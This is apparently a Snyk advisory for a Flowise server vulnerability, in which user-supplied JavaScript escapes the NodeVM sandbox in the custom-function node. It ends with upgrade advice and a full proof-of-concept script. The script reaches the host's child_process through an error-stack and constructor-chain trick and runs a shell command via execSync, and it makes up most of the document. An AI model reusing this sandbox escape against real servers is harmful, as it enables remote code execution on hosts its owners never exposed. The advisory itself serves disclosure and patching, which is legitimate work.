Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Injection vulnerabilities in an interactive lesson.
Start learningUpgrade flowise to version 3.1.2 or higher.
flowise is a Flowiseai Server
Affected versions of this package are vulnerable to Arbitrary Code Injection via the node-custom-function endpoint when user-supplied JavaScript is executed in a NodeVM sandbox without sufficient route-level authorization. A user can execute commands on the server by submitting malicious JavaScript code that escapes the sandbox and gains access to the host process object, which can run code as a child_process. This vulnerability only occurs when E2B_APIKEY is not set. It is not set by default.
const path = require('path');
delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });
require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));
const { nodeClass: CustomFunction } = require(path.resolve(
'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));
const attackCode = `
async function f() {
const error = new Error();
error.name = Object.create(null);
return error.stack;
}
return await f().catch(e => {
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
});
`;
(async () => {
const node = new CustomFunction();
const result = await node.init(
{ inputs: { javascriptFunction: attackCode } },
'',
{ appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
);
console.log('[RCE OUTPUT]', result);
})();